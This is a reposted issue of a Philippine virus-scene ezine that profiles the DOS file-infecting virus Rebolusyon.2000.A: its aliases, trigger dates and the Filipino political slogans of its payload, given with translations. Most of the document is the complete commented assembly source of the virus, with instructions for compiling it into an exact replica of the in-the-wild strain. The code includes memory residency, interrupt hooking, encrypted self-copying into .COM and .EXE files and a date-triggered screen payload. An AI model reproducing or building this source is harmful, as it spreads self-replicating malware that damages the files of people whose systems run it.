Copy Link
Add to Bookmark
Report

Hexfiles Issue 3 File 006

eZine's profile picture
Published in 
hexfiles
 · 9 Aug 2024

  
HEX-FILES No. 3 File 006
ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ


Virus Name: Rebolusyon (Rebolusyon.2000.A)

Alias: COT.2000, CPP/NPA, CPP-NPA-NDF, E_Bukid.A, JUNELY,
Lab-2000, Qark.2000, Qark.2000.a, QUARK, Quark.2000,
Quark.2000.GR, _2000

Origin: Probably Metro Manila due to prevalence in the wild.

MemoryResident: Allocates memory required through 21/48 if
available. Otherwise, shrinks current MCB and
becomes resident in the space freed.

MemorySize: 2700 bytes

InterruptHooked: 1c, 21/3d, 21/4b00

MemorySelfRec: call int 21 with ax=767a; return ax=565a

Targets: .COM, .EXE (except COMMAND.COM)

InfectiveLength: 2000 bytes

LocationOfVirus: At end of file

Encryption: Yes

SelfRecOnFile: FileTime.Seconds = 60 (the virus skips infection
check at times and would reinfect the file)

PayloadTrigger: After two hours if Year >= 1995, and
((Month AND 3)+1) = DayOfWeek

Rebolusyon is triggered on the following days/months

Mondays in April, August and December
Tuesdays in January, May and September
Wednesdays in February, June and October
Thursdays in March, July and November

Payload: Displays an animated Philippine Flag and slogans are
flashed on the first and last rows of the screens.
The screen is switched to 80 columns and names of
NatDem organizations are displayed.

The messages with their corresponding translation or
meaning (some of my translation stinks) are as follows:


Sagot sa kahirapan...
The solution to poverty...

REBOLUSYON!
REVOLUTION!

Mabuhay ang...
Long live the...

CPP-NPA-NDF!
Communist Party of the Philippines - New People's Army -
National Democratic Front

MAMUNO, mga manggagawa
LEAD, workers

LUMABAN, mga magsasaka
FIGHT, farmers

MAKIISA, mga patriyotiko
UNITE, patriots

Isulong ang MAPAGPALAYANG KILUSAN!
Advance the DEMOCRATIC MOVEMENT

Kabataang Makabayan (KM)
Nationalist Youth

Makabayang Kilusan ng Bagong Kababaihan (MAKIBAKA)
Nationalist Movement of New Women (MAKIBAKA = fight)

Artista at Manunulat ng Sambayanan (ARMAS)
People's Artists and Writers (ARMAS = arms, weapons)

Katipunan ng mga Gurong Makabayan (KAGUMA)
Assembly of Nationalist Teachers

Liga ng Agham para sa Bayan (LAB)
League of Science for the Nation

E. Bukid [KK]
Note: This is probably a name or alias of somebody.
Bukid means farm. I have no idea what KK stands for.

Ang Bagong Demokratikong Rebolusyon.
The New Democratic Revolution.


<o>


Another 2000-byte variant (Rebolusyon.2000.B) exists and is known as
Bzy-2000, COT.2000, E_Bukid.B, FLAG3, QU.2000, Quark.2000,
Qark.2000.b, Quark.2000, Quark-2000-B or Quark.2000.GR. It might also
be called by other names. However, this is the information available
to me.


<o>


ÄÄ REBLUSYN.ASM STARTS HERE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄ Virus Name: Rebolusyon.2000.A ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄ Author : Unknown ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄ Origin : Metro Manila, Philippines ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ To create a virus exactly like the one ÄÄ
;ÄÄÄÄÄ COMPILING ÄÄÄÄÄÄÄÄÄÄÄÄ found in the wild, TASM 2.01 or MASM 5.0 ÄÄ
;ÄÄÄÄÄ INSTRUCTION ÄÄÄÄÄÄÄÄÄÄÄÄ should be used. Other compilers might ÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ create a new variant. ÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Compile to EXE. ÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄ Program listing created by Putoksa Kawayan ÄÄÄÄÄÄ HEX-FILES No 3 ÄÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

ExeHeader struc
ExeID dw ?
PageMod dw ?
PageCount dw ?
RelTab dw ?
HedSize dw ?
MinPara dw ?
MaxPara dw ?
SSeg dw ?
SPt dw ?
CxSum dw ?
CPt dw ?
CSeg dw ?
RelFrst dw ?
ExeHeader ends

Rebolusyon segment
assume cs:Rebolusyon, ds:Rebolusyon

BiosData equ 40h
DisplayMode equ 49h
TimerTickLo equ 6ch
TimerTickHi equ 6eh
VirusDta equ offset FileAttribute-21
EncryptBlock equ (offset PayloadCounter-offset EncryptedCode)/3
MemRequired equ (offset FirstGeneration-offset RebolusyonEntry)/16

org 0
RebolusyonEntry:
call CallPop

db 0e9h ;ÄÄÄÄÄÄÄÄÄÄ dummy jump
MaskVal dw 'HF' ;ÄÄÄÄÄÄÄÄÄÄ encryption mask

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ virus decryption

CallPop:pop si
sub si,3
push es
push si
push cs
pop ds
push cs
pop es
mov bx,[si+offset MaskVal]
add si,offset EncryptedCode
mov di,si
mov cx,(offset Int1cVector-offset RebolusyonEntry)/2
cld
DecryptCode:
lodsw
add ax,bx
stosw
loop DecryptCode
pop si
pop es

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ virus is encrypted starting here

EncryptedCode:
call InitVir
cmp byte ptr [si+offset FileTypeFlag],0 ; check host program
je HostIsCom

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ host program is exe

mov ax,es
add ax,16
add [si+offset ExeCSeg],ax
add [si+offset ExeSSeg],ax
cli
mov sp,[si+offset ExeSPt]
mov ss,[si+offset ExeSSeg]
push es
pop ds
sti
jmp dword ptr cs:[si+offset ExeHost]


;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ host program is com

HostIsCom:
mov ax,[si+offset HostComCode]
mov ds:[100h],ax
mov al,[si+offset HostComCode+2]
mov ds:[102h],al
pop ax
mov ax,100h
jmp ax

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ check if memory resident

InitVir:push si
push ds
push es
mov ax,'vz' ;ÄÄÄÄÄÄÄÄÄÄ memory self_rec
int 21h
cmp ax,'VZ'
je AbortInit
mov ax,es
dec ax
mov ds,ax

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ resides in allocating memory

call AllocateMemory
jnc GotMemory

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ resides in memory by moving mcbs

mov bx,ds:[3]
sub bx,MemRequired+1
mov ah,4ah
int 21h
call AllocateMemory
jc AbortInit
GotMemory:
mov ax,es
add ax,ds:[3]
mov es:[2],ax
mov ax,di
dec ax
mov ds,ax
mov word ptr ds:[1],8
push cs
pop ds

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ copy virus code to alloc_mem

mov es,di
xor di,di
mov cx,(offset Int1cVector-offset RebolusyonEntry)/2
cld
repe movsw
push es
pop ds

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ save and hook int 1ch and 21h

mov ax,351ch
int 21h
mov word ptr Int1cVector,bx
mov word ptr Int1cVector+2,es
mov al,21h
int 21h
mov word ptr Int21Vector,bx
mov word ptr Int21Vector+2,es
mov ax,251ch
mov dx,offset isTimer
int 21h
mov al,21h
mov dx,offset isDos
int 21h

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ done initialization routine

AbortInit:
pop es
pop ds
pop si
ret

AllocateMemory:
mov ah,48h
mov bx,MemRequired
int 21h
mov di,ax
ret


;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ int 1ch handler
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ only performs flag setting functions
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ for virus payload routine

isTimer:push ax
push ds
mov ax,BiosData
mov ds,ax
cmp word ptr ds:TimerTickLo,0
jne NotYetTime
test byte ptr ds:TimerTickHi,1
jz NotYetTime
mov byte ptr cs:ActivateFlag,1
NotYetTime:
dec byte ptr cs:PayloadCounter
pop ds
pop ax
jmp cs:Int1cVector

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ int 21h handler
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ virus infection function and displays
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ virus payload

isDos: cmp byte ptr cs:ActivateFlag,0
je CheckSelfRec
mov byte ptr cs:ActivateFlag,0
call ShowTime ;ÄÄÄÄÄÄÄÄÄÄ payload time
CheckSelfRec:
cmp ax,'vz' ;ÄÄÄÄÄÄÄÄÄÄ self_rec
jne CheckDosFunction
mov ax,'VZ'
iret

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ infects on exec and file open

CheckDosFunction:
cmp ax,4b00h ;ÄÄÄÄÄÄÄÄÄÄ exec
je InfectRoutine
cmp ah,3dh ;ÄÄÄÄÄÄÄÄÄÄ open file
je InfectRoutine
jmp PassToDos
InfectRoutine:
push ax
push bx
push cx
push dx
push si
push di
push ds
push es
cld

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ determine file type from extension

mov cx,7fh
push ds
pop es
mov di,dx
mov al,0
repne scasb
mov byte ptr cs:FileTypeFlag,0
cmp word ptr [di-3],'EX' ;ÄÄÄÄÄÄÄÄÄÄ exe?
jne CheckIfCom
cmp word ptr [di-5],'E.'
jne CheckIfCom
mov byte ptr cs:FileTypeFlag,1
jmp short Executable
DoNotInfect:
jmp RestoreRegisters
CheckIfCom:
cmp word ptr [di-3],'MO' ;ÄÄÄÄÄÄÄÄÄÄ com?
jne DoNotInfect
cmp word ptr [di-5],'C.'
jne DoNotInfect
cmp word ptr [di-12],'OC' ;ÄÄÄÄÄÄÄÄÄÄ command.com?
je DoNotInfect ;ÄÄÄÄÄÄÄÄÄÄ if yes, dont infect
Executable:
mov ah,2fh
int 21h
push dx
push ds
mov ah,1ah
push cs
pop ds
mov dx,VirusDta
int 21h
mov ah,4eh
pop ds
pop dx
xor cx,cx
int 21h
push dx
push ds
mov ah,1ah
push es
pop ds
mov bx,dx
int 21h
pop ds
pop dx
jc RestoreRegisters
cmp cs:FileLengthHigh,0
ja SkipCheck
cmp cs:FileLengthLow,1000 ;ÄÄÄÄÄÄÄÄÄÄ file at least 1000 bytes
jb RestoreRegisters
SkipCheck:

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Virus checks FileTime.Second=60 for prior
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ infection. However, this check is omitted
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ at times and could reinfect a file.

test byte ptr cs:PayloadCounter,15
jz SkipInfectCheck
mov al,byte ptr cs:FileTime
and al,1fh
cmp al,1eh
je RestoreRegisters
SkipInfectCheck:
mov ax,4301h ;ÄÄÄÄÄÄÄÄÄÄ clear attribute
xor cx,cx
int 21h
mov ax,3d02h ;ÄÄÄÄÄÄÄÄÄÄ open file
pushf
call cs:Int21Vector
jc RestoreRegisters
mov bx,ax
push dx
push ds
push cs
pop ds
push cs
pop es

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ call infection routine

mov ax,offset isExe ;ÄÄÄÄÄÄÄÄÄÄ exe routine
cmp byte ptr FileTypeFlag,0 ;ÄÄÄÄÄÄÄÄÄÄ is file exe or com?
jne ObjectIsExe
mov ax,offset isCom ;ÄÄÄÄÄÄÄÄÄÄ com routine
ObjectIsExe:
call ax
jc CloseFile

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ restore file date stamp and set infection
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ marker on time stamp

mov ax,5701h
mov dx,FileDate
mov cx,FileTime
and cl,0e0h ;ÄÄÄÄÄÄÄÄÄÄ set marker
or cl,1eh
int 21h
CloseFile:
mov ah,3eh
int 21h
mov ax,4301h ;ÄÄÄÄÄÄÄÄÄÄ restore file attribute
pop ds
pop dx
mov cl,cs:FileAttribute
mov ch,0
int 21h
RestoreRegisters:
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
PassToDos:
jmp cs:Int21Vector ;ÄÄÄÄÄÄÄÄÄÄ execute dos call

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ exe infection routine

isExe: mov ah,3fh
mov dx,offset ReadBuffer
mov cx,24
int 21h
jnc CheckHeader
jmp DoneWithExe
CheckHeader:
mov ax,SPt[ReadBuffer] ;ÄÄÄÄÄÄÄÄÄÄ save cs:ip,ss:sp
mov ExeSPt,ax
mov ax,SSeg[ReadBuffer]
mov ExeSSeg,ax
mov ax,CPt[ReadBuffer]
mov ExeIPt,ax
mov ax,CSeg[ReadBuffer]
mov ExeCSeg,ax
mov ax,HedSize[ReadBuffer]
mov dx,16
mul dx
mov di,ax
mov si,dx
mov ax,PageCount[ReadBuffer]
dec ax
mov dx,200h
mul dx
add ax,PageMod[ReadBuffer]
adc dx,0
cmp ds:FileLengthLow,ax ;ÄÄÄÄÄÄÄÄÄÄ
jne DoneWithExe ; internal overlay check
cmp ds:FileLengthHigh,dx ;ÄÄÄÄÄÄÄÄÄÄ
jne DoneWithExe
push dx
push ax
sub ax,di
sbb dx,si
mov cx,16
div cx
mov CPt[ReadBuffer],dx ;ÄÄÄÄÄÄÄÄÄÄ virus ip
mov CSeg[ReadBuffer],ax ;ÄÄÄÄÄÄÄÄÄÄ virus cs
add dx,offset PayloadCounter+80h
mov SPt[ReadBuffer],dx ;ÄÄÄÄÄÄÄÄÄÄ virus sp
mov SSeg[ReadBuffer],ax ;ÄÄÄÄÄÄÄÄÄÄ virus ss
mov ax,4200h
pop dx
pop cx
int 21h
jc DoneWithExe
call WriteVirusToFile ;ÄÄÄÄÄÄÄÄÄÄ encrypt and write virus to eof
jc DoneWithExe
call MovePointerEnd
jc DoneWithExe
mov cx,200h
div cx
inc ax
mov PageMod[ReadBuffer],dx
mov PageCount[ReadBuffer],ax
call MovePointerBegin
jc DoneWithExe
mov CxSum[ReadBuffer],0
mov ah,40h ;ÄÄÄÄÄÄÄÄÄÄ write infected exe header
mov dx,offset ReadBuffer
mov cx,24
int 21h
DoneWithExe:
ret

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ com infection routine

isCom: mov ah,3fh ;ÄÄÄÄÄÄÄÄÄÄ save 3 bytes from start
mov dx,offset HostComCode
mov cx,3
int 21h
jc DoneWithCom
call MovePointerEnd ;ÄÄÄÄÄÄÄÄÄÄ determine call displacement
jc DoneWithCom
sub ax,3
mov VirEntryCalDisp,ax
call WriteVirusToFile ;ÄÄÄÄÄÄÄÄÄÄ encrypt and write virus to eof
jc DoneWithCom
call MovePointerBegin
jc DoneWithCom
mov ah,40h ;ÄÄÄÄÄÄÄÄÄÄ write virus entry call
mov dx,offset VirusComEntry
mov cx,3
int 21h
DoneWithCom:
ret

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ encrypt and write virus to file
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ encryption is done in blocks

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ encryption mask: exe header low length in
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ bytes for exe; offset of end of asciiz for com

WriteVirusToFile:
inc word ptr InfectionCount
mov MaskVal,di ;ÄÄÄÄÄÄÄÄÄÄ set encryption mask
mov ah,40h
mov dx,0
mov cx,offset EncryptedCode
int 21h ;ÄÄÄÄÄÄÄÄÄÄ write decryptor
jc CouldNotInfect
mov si,offset EncryptedCode
mov cx,3 ;ÄÄÄÄÄÄÄÄÄÄ write encrypted code in 3 blocks
cld
EncryptNextBlock:
push cx
mov di,offset EncryptBuffer
mov cx,EncryptBlock/2
Encrypt:lodsw ;ÄÄÄÄÄÄÄÄÄÄ encrypt and copy to buffer
sub ax,MaskVal
stosw
loop Encrypt
mov ah,40h
mov dx,offset EncryptBuffer
mov cx,EncryptBlock
int 21h ;ÄÄÄÄÄÄÄÄÄÄ write virus code in buffer
pop cx
jc CouldNotInfect
cmp ax,EncryptBlock
je DoNextBlock
stc
jmp short CouldNotInfect
DoNextBlock:
loop EncryptNextBlock
CouldNotInfect:
ret

MovePointerBegin:
mov ax,4200h
FilePointer:
xor cx,cx
xor dx,dx
int 21h
ret

MovePointerEnd:
mov ax,4202h
jmp FilePointer

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ virus payload
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ although it is time triggered, the final
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ determinant is the date and day of the week.
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ payload is display of Philippine flag and
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ populist struggle messages

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ (month AND 3)+1 = 1 = April,August,December
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ = 2 = January,May,September
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ = 3 = February,June,October
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ = 4 = March,July,Novemeber

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ day of the week = 1 = Monday
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ = 2 = Tuesday
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ = 3 = Wednesday
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ = 4 = Thursday

ShowTime:
push ax
push bx
push cx
push dx
push si
push ds
push es
mov ah,2ah
int 21h
cmp cx,1995 ;ÄÄÄÄÄÄÄÄÄÄ does not activate prior to 1995
jnb Show01
jmp Show06
Show01: and dh,3 ;ÄÄÄÄÄÄÄÄÄÄ month mask
inc dh
cmp dh,al ;ÄÄÄÄÄÄÄÄÄÄ masked month = day of the week
je Show02
jmp Show06
Show02: mov ax,BiosData
mov es,ax
push word ptr es:DisplayMode ;ÄÄÄÄÄÄÄÄÄÄ save active display mode
push word ptr es:TimerTickHi ;ÄÄÄÄÄÄÄÄÄÄ save timer high
push word ptr es:TimerTickLo ;ÄÄÄÄÄÄÄÄÄÄ save timer low
mov ax,2e97h
call Show07
push cs
pop ds
mov bh,0
call Show08
mov bl,0ch
mov si,offset Messages
mov dl,41
mov dh,24
call Show19
mov dh,1
call Show19
mov cx,3
call Show26
dec cx
call Show26
mov dh,24
call Show19
mov dh,1
call Show19
mov dh,24
call Show19
call Show19
call Show19
call Show19
Show03: call Show26
loop Show03
mov ax,2
int 10h
mov cl,7
mov dx,50h
mov bl,0eh
Show04: cmp cl,1
jne Show05
mov bl,4fh
Show05: add dh,3
call Show19
dec bl
loop Show04
call Show08
mov dl,41
mov dh,24
mov bl,0ch
call Show19
mov cx,2
call Show26
pop word ptr es:TimerTickLo ;ÄÄÄÄÄÄÄÄÄÄ restore timer low
pop word ptr es:TimerTickHi ;ÄÄÄÄÄÄÄÄÄÄ restore timer high
pop ax
mov ah,0 ;ÄÄÄÄÄÄÄÄÄÄ restore active video mode
int 10h
xor ax,ax
call Show07
Show06: pop es
pop ds
pop si
pop dx
pop cx
pop bx
pop ax
ret


Show07: cli
push ax
mov al,36h
out 43h,al
pop ax
out 40h,al
mov al,ah
out 40h,al
sti
ret

Show08: mov ax,1
int 10h
mov al,16
mov dx,3d9h
out dx,al
mov ax,1003h
mov bl,0
int 10h
mov ch,0
mov al,0dbh
mov dx,1600h
Show09: call Show12
mov bl,1
call Show13
inc dl
dec dh
cmp dh,0dh
jnb Show09
mov dx,200h
Show10: call Show12
cmp dh,0ch
jne Show11
mov al,0dfh
Show11: mov bl,20
call Show13
inc dl
inc dh
cmp dh,0ch
jbe Show10
mov cl,1
mov dx,401h
call Show15
mov dx,1401h
call Show15
mov dx,0c0dh
call Show15
mov al,0dbh
mov bl,0eh
mov dx,0c05h
sub dh,3
call Show16
inc dh
call Show16
add dh,4
call Show16
inc dh
call Show16
sub dl,2
sub dh,5
call Show16
add dh,4
call Show16
add dl,4
call Show16
sub dh,4
call Show16
mov cl,3
sub dl,3
inc dh
call Show16
add dh,2
call Show16
mov cl,7
dec dh
sub dl,2
call Show16
ret

Show12: push dx
mov dl,0
call Show17
pop dx
mov bl,0fh
inc dl
mov cl,dl
call Show18
ret

Show13: call Show17
mov cl,40
sub cl,dl
call Show18
test dh,1
jz Show14
dec dl
Show14: ret

Show15: mov al,0dbh
mov bl,0eh
call Show16
mov al,0dch
mov bl,0feh
dec dh
call Show16
mov al,0dfh
dec dl
inc dh
call Show16
inc dh
call Show16
add dl,2
call Show16
dec dh
call Show16
ret

Show16: call Show17
call Show18
ret

Show17: mov ah,2
int 10h
ret

Show18: mov ah,9
int 10h
ret

Show19: push cx
push dx
cld
lodsb
sub dl,al
shr dl,1
mov cl,al
mov ch,0
jcxz Show23
Show20: push cx
call Show17
lodsb
neg al
mov cl,1
call Show18
test dl,3
jnz Show21
mov ax,0e07h
int 10h
jmp short Show22

Show21: mov byte ptr PayloadCounter,17
call Show25
Show22: inc dl
pop cx
loop Show20
Show23: mov cl,4
Show24: mov byte ptr PayloadCounter,100
call Show25
loop Show24
pop dx
pop cx
ret

Show25: cmp byte ptr cs:PayloadCounter,0
jg Show25
ret

Show26: push bx
push cx
push dx
push cx
mov ax,601h
mov cx,1800h
mov dx,1827h
int 10h
mov dx,200h
call Show17
pop cx
mov ds:PayloadData,cl
mov ax,10
not cl
and cl,3
shl ax,cl
mov cx,ax
Show27: push cx
mov ah,6
mov ch,1
call Show28
mov ch,2
call Show30
mov ah,7
mov ch,1
call Show30
mov ch,0
call Show28
mov ch,1
call Show28
mov ch,2
call Show30
mov ah,6
mov ch,1
call Show30
mov ch,0
call Show28
pop cx
loop Show27
mov byte ptr PayloadCounter,120
call Show25
pop dx
pop cx
pop bx
ret

Show28: mov cl,1
mov bl,16
Show29: call Show31
ret

Show30: mov cl,5
mov bl,8
jmp Show29

Show31: push ax
call Show33
mov al,39
sub al,bl
sub al,cl
mov cl,al
inc ah
cmp ah,7
jbe Show32
mov ah,6
Show32: call Show33
pop ax
ret

Show33: push cx
mov ch,0
mov dh,24
mov dl,cl
add dl,bl
mov al,1
int 10h
pop cx
push cx
mov cl,ch
mov ch,ds:PayloadData
shl ch,cl
mov PayloadCounter,ch
call Show25
pop cx
ret

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ virus messages

Messages db 15h
db 'Sagot sa kahirapan...' ,0ch,' '
db 'REBOLUSYON!' ,0eh
db 'Mabuhay ang...' ,0ch
db 'CPP-NPA-NDF!' ,16h
db 'MAMUNO, mga manggagawa' ,16h
db 'LUMABAN, mga magsasaka' ,18h
db 'MAKIISA, mga patriyotiko' ,22h
db 'Isulong ang MAPAGPALAYANG KILUSAN!' ,18h
db 'Kabataang Makabayan (KM)' ,32h
db 'Makabayang Kilusan ng Bagong Kababaihan (MAKIBAKA)',2ah
db 'Artista at Manunulat ng Sambayanan (ARMAS)' ,2ah
db 'Katipunan ng mga Gurong Makabayan (KAGUMA)' ,21h
db 'Liga ng Agham para sa Bayan (LAB)',0 ,11h,' '
db 'E. Bukid [KK] ' ,24h
db 'Ang Bagong Demokratikong Rebolusyon.'

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ virus data

ActivateFlag db ?
ExeHost label dword
ExeIPt dw ?
ExeCSeg dw ?
ExeSPt dw ?
ExeSSeg dw ?
VirusComEntry db 0e8h
VirEntryCalDisp dw ?
HostComCode db 3 dup (?)
FileTypeFlag db ?
InfectionCount dw ?
Int1cVector dd ?
Int21Vector dd ?
PayloadCounter db ?
PayloadData db ?
EncryptBuffer db ((offset PayloadCounter-offset EncryptedCode)/3) dup ('?')
FileAttribute db ?
FileTime dw ?
FileDate dw ?
FileLengthLow dw ?
FileLengthHigh dw ?
ReadBuffer dw 12 dup (?)

CurrentLoc equ $-RebolusyonEntry
AlignToPara db ((((CurrentLoc+15)/16)*16)-CurrentLoc) dup (?)

